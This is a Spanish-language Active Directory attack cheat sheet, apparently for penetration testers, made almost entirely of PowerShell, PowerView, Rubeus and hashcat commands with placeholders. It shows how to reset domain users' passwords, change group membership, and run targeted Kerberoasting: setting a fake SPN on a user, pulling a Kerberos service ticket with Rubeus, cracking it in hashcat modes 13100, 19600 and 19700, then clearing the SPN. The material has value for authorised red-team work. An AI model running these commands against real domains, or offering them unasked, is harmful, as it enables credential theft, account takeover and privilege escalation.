# Usuarios y grupos

## Autenticación de usuario contra el dominio

```powershell
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)
```

## Cambio de contraseña de usuario de dominio

Autenticación de usuario contra el dominio.

```powershell
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)
```

Importación de módulo PowerView.

```powershell
Import-Module .\PowerView.ps1
```

Cambio de contraseña de usuario de dominio.

```powershell
$NewUserPassword = ConvertTo-SecureString "<new-user-password>" -AsPlainText -Force
Set-DomainUserPassword -Identity "<user>" -AccountPassword $NewUserPassword -Credential $UserCredential -Verbose
```

## Agregar y eliminar usuario a grupo de dominio

Autenticación de usuario contra el dominio.

```powershell
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)
```

Importación de módulo PowerView.

```powershell
Import-Module .\PowerView.ps1
```

Agrega usuario a grupo de dominio.

```powershell
Add-DomainGroupMember -Identity "<group-name>" -Members "<user>" -Credential $UserCredential -Verbose
```

Eliminar usuario de un grupo de dominio.

```powershell
Remove-DomainGroupMember -Identity "<group-name>" -Members "<user>" -Credential $UserCredential -Verbose
```

Confirmación de eliminación de usuario de un grupo de dominio.

```powershell
Get-DomainGroupMember -Identity "<group-name>" | Select MemberName |? {$_.MemberName -eq "<user>"} -Verbose
```

## Creación de Service Principal Names (SPN) falso

Autenticación de usuario contra el dominio.

```powershell
$UserPassword = ConvertTo-SecureString "<password>" -AsPlainText -Force
$UserCredential = New-Object System.Management.Automation.PSCredential("<ACME.LOCAL>/<user>", $UserPassword)
```

Creación de Service Principal Names (SPN) falso.

```powershell
Set-DomainObject -Credential $UserCredential -Identity "<user>" -SET @{serviceprincipalname='SPN/fake'} -Verbose
```

Obtener Ticket Granting Service (TGS).

```shell
.\Rubeus.exe kerberoast /user:<user> /nowrap
```

Cracking de Ticket Granting Service (TGS).

```shell
# RC4 / $krb5tgs$23$
hashcat -m 13100 tgs.txt <path-wordlist>
# AES-128 / $krb5tgs$17$
hashcat -m 19600 tgs.txt <path-wordlist>
# AES-256 / $krb5tgs$18$
hashcat -m 19700 tgs.txt <path-wordlist>
```

Eliminación de Service Principal Names (SPN) falso.

```powershell
Set-DomainObject -Credential $UserCredential -Identity "<user>" -Clear serviceprincipalname -Verbose
```
